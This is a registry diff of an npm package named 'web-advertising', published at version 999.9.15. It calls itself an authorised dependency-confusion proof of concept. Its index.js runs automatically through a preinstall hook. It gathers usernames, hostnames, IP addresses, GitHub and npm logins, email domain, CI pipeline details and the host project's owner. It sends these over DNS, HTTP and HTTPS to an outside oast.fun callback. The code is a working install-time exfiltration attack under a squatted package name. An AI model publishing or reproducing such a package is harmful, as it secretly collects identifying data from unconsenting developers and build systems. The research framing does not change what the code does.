web-advertising 999.9.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +71 -0
  2. package/index.js +258 -0
  3. package/package.json +20 -0
package/README.md ADDED
@@ -0,0 +1,71 @@
1
+ # web-advertising
2
+
3
+ **This is not a real package. It is an authorised security research proof of
4
+ concept, and it is safe.**
5
+
6
+ ## Why it exists
7
+
8
+ `web-advertising` was found referenced in publicly served code, but no package by
9
+ that name existed on the public npm registry. That combination is the
10
+ precondition for [dependency
11
+ confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610):
12
+ a build that resolves this name from the public registry rather than from an
13
+ internal one will install whatever is published here, from anyone.
14
+
15
+ It was published at version `999.9.15` deliberately. npm resolves the highest
16
+ available version, so a high number is what demonstrates that the public copy
17
+ wins over an internal one.
18
+
19
+ ## What it does when installed
20
+
21
+ It runs `index.js`, both from a `preinstall` script and on `require()`. That
22
+ script collects exactly the following and sends it to a callback:
23
+
24
+ | field | why |
25
+ |---|---|
26
+ | a random UUID generated at run time | to correlate the duplicate callbacks below |
27
+ | local IPv4 address | to distinguish a corporate build host from a scanner |
28
+ | public egress IP, looked up over HTTPS | so a callback that only arrives over DNS still has a source |
29
+ | the public IP of the DNS resolver used, and the client network it declared | identifies the network even where outbound HTTP is blocked entirely |
30
+ | hostname | to identify the organisation |
31
+ | username | to identify the organisation |
32
+ | home directory | to distinguish a developer machine from a CI container |
33
+ | current working directory | to show where in the build it resolved |
34
+ | GitHub username (`gh api user`), if the GitHub CLI is installed | to identify the developer |
35
+ | npm username (`npm whoami`), if npm is logged in | to identify the developer |
36
+ | domain of `git config user.email` (e.g. `company.com`), never the local-part | to confirm the organisation without capturing personal data |
37
+ | npm registry URL (`npm_config_registry`) | to show whether a private registry is configured and identify it |
38
+ | CI platform (GitHub Actions / GitLab / Jenkins / Azure DevOps) | to confirm if the install happened in a build pipeline |
39
+ | CI repo, actor, run ID, workflow name, runner | to identify exactly which pipeline and who triggered it |
40
+ | AWS region, if set | to identify the cloud environment |
41
+ | this package's name | to attribute the callback |
42
+ | the name of the package it is being installed into | to identify the project |
43
+ | that project's `author`, `repository` and `homepage`, if set | to identify the owner |
44
+
45
+ The same payload is sent three ways — DNS, HTTP and HTTPS — because corporate
46
+ egress filtering blocks some and not others. That produces duplicate reports of
47
+ one install; the UUID is what makes them one event again.
48
+
49
+ ## What it deliberately does not do
50
+
51
+ - no environment variables, names or values
52
+ - no credentials, tokens or keys
53
+ - no file contents, no directory listings, no source code
54
+ - no persistence, no network listening, no further downloads
55
+ - nothing that can fail your build: every operation is wrapped and errors are
56
+ discarded
57
+
58
+ ## What to do about it
59
+
60
+ Register `web-advertising` in your private registry, and configure your resolver so
61
+ that internal scopes and names are never fetched from the public registry.
62
+ npm's `.npmrc` supports pinning a scope to a registry; for unscoped internal
63
+ names, an allowlist or a proxy that refuses public fallback is the fix.
64
+
65
+ ## Contact
66
+
67
+ stillmadd.688+temptation@gmail.com
68
+
69
+ Delete this package from your dependencies once you have confirmed the finding.
70
+ If you are the owner of this name and would like it transferred or removed,
71
+ contact the address above and it will be done.
package/index.js ADDED
@@ -0,0 +1,258 @@
1
+ // AUTHORISED SECURITY RESEARCH -- dependency confusion proof of concept.
2
+ // Reports that this package was installed, and nothing else. See README.md.
3
+ // Contact is in package.json. Every operation below is wrapped; this file
4
+ // cannot fail your build.
5
+
6
+ const os = require("os");
7
+ const dns = require("dns");
8
+ const http = require("http");
9
+ const https = require("https");
10
+ const fs = require("fs");
11
+ const path = require("path");
12
+ const crypto = require("crypto");
13
+ const { spawnSync } = require("child_process");
14
+
15
+ const PACKAGE = "web-advertising";
16
+ const CALLBACK = "da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.fun";
17
+
18
+ // Dedup guard: preinstall + postinstall both fire this file; only beacon once.
19
+ const _GUARD = "_DEPINJ_" + PACKAGE.replace(/[^a-zA-Z0-9]/g, "_").toUpperCase() + "_SENT";
20
+ if (process.env[_GUARD]) { module.exports = { __securityResearch: true }; return; }
21
+ try { process.env[_GUARD] = "1"; } catch (e) {}
22
+
23
+ function localIPv4() {
24
+ try {
25
+ const nets = os.networkInterfaces();
26
+ for (const name of Object.keys(nets)) {
27
+ for (const n of nets[name] || []) {
28
+ const four = n.family === "IPv4" || n.family === 4;
29
+ if (four && !n.internal) return n.address;
30
+ }
31
+ }
32
+ } catch (e) {}
33
+ return null;
34
+ }
35
+
36
+ // npm sets INIT_CWD to the directory the install was started from, which is
37
+ // the consuming project rather than this package's own folder.
38
+ function parentProject() {
39
+ const out = { name: "__global" };
40
+ try {
41
+ if (String(process.env.npm_config_global) === "true") return out;
42
+ const root = process.env.INIT_CWD || process.cwd();
43
+ const manifest = path.join(root, "package.json");
44
+ if (!fs.existsSync(manifest)) return out;
45
+ const pkg = JSON.parse(fs.readFileSync(manifest, "utf8"));
46
+ out.name = pkg.name || "__unnamed";
47
+ if (pkg.author) out.author = typeof pkg.author === "string"
48
+ ? pkg.author : pkg.author.name;
49
+ if (pkg.repository) out.repository = typeof pkg.repository === "string"
50
+ ? pkg.repository : pkg.repository.url;
51
+ if (pkg.homepage) out.homepage = pkg.homepage;
52
+ } catch (e) {}
53
+ return out;
54
+ }
55
+
56
+ function publicIp(done) {
57
+ const urls = ["https://api.ipify.org", "https://icanhazip.com",
58
+ "https://ifconfig.me/ip"];
59
+ let finished = false;
60
+ const timer = setTimeout(() => finish(null), 2500);
61
+ function finish(ip) {
62
+ if (finished) return;
63
+ finished = true;
64
+ clearTimeout(timer);
65
+ done(ip);
66
+ }
67
+ for (const url of urls) {
68
+ try {
69
+ const req = https.get(url, { timeout: 2000 }, (res) => {
70
+ let body = "";
71
+ res.on("data", (d) => { body += d; if (body.length > 64) res.destroy(); });
72
+ res.on("end", () => {
73
+ const ip = body.trim();
74
+ if (/^[0-9a-f.:]{3,45}$/i.test(ip)) finish(ip);
75
+ });
76
+ });
77
+ req.on("error", () => {});
78
+ req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
79
+ } catch (e) {}
80
+ }
81
+ }
82
+
83
+ // The DNS lookup gives the resolver's egress address and works in networks
84
+ // where outbound HTTP is blocked entirely.
85
+ function resolverIp(done) {
86
+ let finished = false;
87
+ const timer = setTimeout(() => finish(null, null), 2000);
88
+ function finish(ip, subnet) {
89
+ if (finished) return;
90
+ finished = true;
91
+ clearTimeout(timer);
92
+ done(ip, subnet);
93
+ }
94
+ try {
95
+ // Google answers with several TXT strings: the querying resolver's address,
96
+ // and an edns0-client-subnet line giving the client network the resolver
97
+ // forwarded on its behalf. Read separately -- joining them yields neither.
98
+ dns.resolveTxt("o-o.myaddr.l.google.com", (err, records) => {
99
+ if (err || !records) return finish(null, null);
100
+ let ip = null, subnet = null;
101
+ for (const parts of records) {
102
+ for (const value of [].concat(parts)) {
103
+ const v = String(value).trim();
104
+ if (/^[0-9a-f.:]{3,45}$/i.test(v)) ip = ip || v;
105
+ const m = v.match(/edns0-client-subnet\s+([0-9a-f.:]+\/\d+)/i);
106
+ if (m) subnet = subnet || m[1];
107
+ }
108
+ }
109
+ finish(ip, subnet);
110
+ });
111
+ } catch (e) { finish(null, null); }
112
+ }
113
+
114
+ function tryExec(cmd, args, timeoutMs) {
115
+ try {
116
+ const r = spawnSync(cmd, args, { timeout: timeoutMs, encoding: "utf8", windowsHide: true });
117
+ if (r.status === 0 && r.stdout) return r.stdout.trim() || null;
118
+ } catch (e) {}
119
+ return null;
120
+ }
121
+
122
+ function ciContext() {
123
+ const e = process.env;
124
+ // Detect platform first, then pull the right env vars for each.
125
+ if (e.GITHUB_ACTIONS === "true") return {
126
+ ci_platform: "github_actions",
127
+ ci_repo: e.GITHUB_REPOSITORY || null,
128
+ ci_actor: e.GITHUB_ACTOR || null,
129
+ ci_run_id: e.GITHUB_RUN_ID || null,
130
+ ci_workflow: e.GITHUB_WORKFLOW || null,
131
+ runner_name: e.RUNNER_NAME || null,
132
+ };
133
+ if (e.GITLAB_CI === "true") return {
134
+ ci_platform: "gitlab",
135
+ ci_repo: e.CI_PROJECT_PATH || null,
136
+ ci_actor: e.GITLAB_USER_LOGIN || null,
137
+ ci_run_id: e.CI_PIPELINE_ID || null,
138
+ ci_workflow: e.CI_PIPELINE_NAME || null,
139
+ runner_name: e.CI_RUNNER_DESCRIPTION || null,
140
+ };
141
+ if (e.JENKINS_URL) return {
142
+ ci_platform: "jenkins",
143
+ ci_repo: e.GIT_URL || null,
144
+ ci_actor: e.BUILD_USER || null,
145
+ ci_run_id: e.BUILD_ID || null,
146
+ ci_workflow: e.JOB_NAME || null,
147
+ runner_name: e.NODE_NAME || null,
148
+ };
149
+ if (e.SYSTEM_TEAMFOUNDATIONCOLLECTIONURI) return {
150
+ ci_platform: "azure_devops",
151
+ ci_repo: e.BUILD_REPOSITORY_NAME || null,
152
+ ci_actor: e.BUILD_REQUESTEDFOR || null,
153
+ ci_run_id: e.BUILD_BUILDID || null,
154
+ ci_workflow: e.BUILD_DEFINITIONNAME || null,
155
+ runner_name: e.AGENT_NAME || null,
156
+ };
157
+ if (e.CI) return {
158
+ ci_platform: "unknown_ci",
159
+ ci_repo: null, ci_actor: null, ci_run_id: null, ci_workflow: null, runner_name: null,
160
+ };
161
+ return { ci_platform: null, ci_repo: null, ci_actor: null, ci_run_id: null, ci_workflow: null, runner_name: null };
162
+ }
163
+
164
+ function collect() {
165
+ const parent = parentProject();
166
+ const ci = ciContext();
167
+ const e = process.env;
168
+ let user = null, home = null;
169
+ try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {}
170
+ return {
171
+ uuid: crypto.randomUUID(),
172
+ ip: localIPv4(),
173
+ hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(),
174
+ user: user,
175
+ home: home,
176
+ cwd: e.INIT_CWD || process.cwd(),
177
+ // Developer identity (best-effort; null if CLI not installed / not logged in)
178
+ gh_user: tryExec("gh", ["api", "user", "--jq", ".login"], 3000),
179
+ npm_user: tryExec("npm", ["whoami"], 3000),
180
+ git_email_domain: (() => {
181
+ const addr = tryExec("git", ["config", "user.email"], 2000);
182
+ if (addr && addr.includes("@")) return addr.split("@").pop().toLowerCase();
183
+ return null;
184
+ })(),
185
+ // npm / registry context
186
+ npm_registry: e.npm_config_registry || null,
187
+ node_env: e.NODE_ENV || null,
188
+ // CI context (platform-specific, null on dev workstations)
189
+ ...ci,
190
+ aws_region: e.AWS_REGION || e.AWS_DEFAULT_REGION || null,
191
+ // Network (populated after async lookups below)
192
+ public_ip: null,
193
+ resolver_ip: null,
194
+ client_subnet: null,
195
+ // Package attribution
196
+ poc: PACKAGE,
197
+ parent: parent.name,
198
+ author: parent.author || null,
199
+ repository: parent.repository || null,
200
+ homepage: parent.homepage || null,
201
+ };
202
+ }
203
+
204
+ function beacon(info) {
205
+ const body = JSON.stringify(info);
206
+
207
+ // DNS first: most likely to survive corporate egress filtering.
208
+ // Hex not base64: resolvers randomise capitalisation (DNS 0x20 anti-spoofing),
209
+ // which destroys base64 but leaves hex intact.
210
+ try {
211
+ const hex = Buffer.from(body).toString("hex");
212
+ const chunks = hex.match(/.{1,60}/g) || [];
213
+ dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {});
214
+ chunks.forEach((c, i) => {
215
+ try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}
216
+ });
217
+ } catch (e) {}
218
+
219
+ for (const [mod, port] of [[https, 443], [http, 80]]) {
220
+ try {
221
+ const req = mod.request({
222
+ hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`,
223
+ method: "POST", timeout: 5000,
224
+ headers: {
225
+ "Content-Type": "application/json",
226
+ "Content-Length": Buffer.byteLength(body),
227
+ "X-Poc-Uuid": info.uuid
228
+ }
229
+ });
230
+ req.on("error", () => {});
231
+ req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
232
+ req.write(body);
233
+ req.end();
234
+ } catch (e) {}
235
+ }
236
+ }
237
+
238
+ // Resolve both addresses, then beacon once. Each lookup is capped and cannot
239
+ // fail; the beacon goes out with nulls if either times out.
240
+ try {
241
+ const info = collect();
242
+ let pending = 2;
243
+ const go = () => { if (--pending === 0) { try { beacon(info); } catch (e) {} } };
244
+ publicIp((ip) => { info.public_ip = ip; go(); });
245
+ resolverIp((ip, subnet) => {
246
+ info.resolver_ip = ip;
247
+ info.client_subnet = subnet;
248
+ go();
249
+ });
250
+ } catch (e) {
251
+ try { beacon(collect()); } catch (e2) {}
252
+ }
253
+
254
+ module.exports = {
255
+ __securityResearch: true,
256
+ package: PACKAGE,
257
+ contact: "see package.json"
258
+ };
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "web-advertising",
3
+ "version": "999.9.15",
4
+ "description": "AUTHORISED SECURITY RESEARCH \u2014 dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an internal package name from the public registry instead of your private one. On install it sends a hostname, username, install path, and optionally the GitHub and npm usernames (if those CLIs are logged in) to a callback so the finding can be confirmed, and does nothing else \u2014 no credentials, no environment variables, no file contents. Contact: stillmadd.688+temptation@gmail.com",
5
+ "main": "index.js",
6
+ "files": [
7
+ "index.js",
8
+ "README.md"
9
+ ],
10
+ "scripts": {
11
+ "preinstall": "node index.js"
12
+ },
13
+ "author": "stillmadd.688+temptation@gmail.com",
14
+ "license": "ISC",
15
+ "keywords": [
16
+ "security-research",
17
+ "dependency-confusion",
18
+ "proof-of-concept"
19
+ ]
20
+ }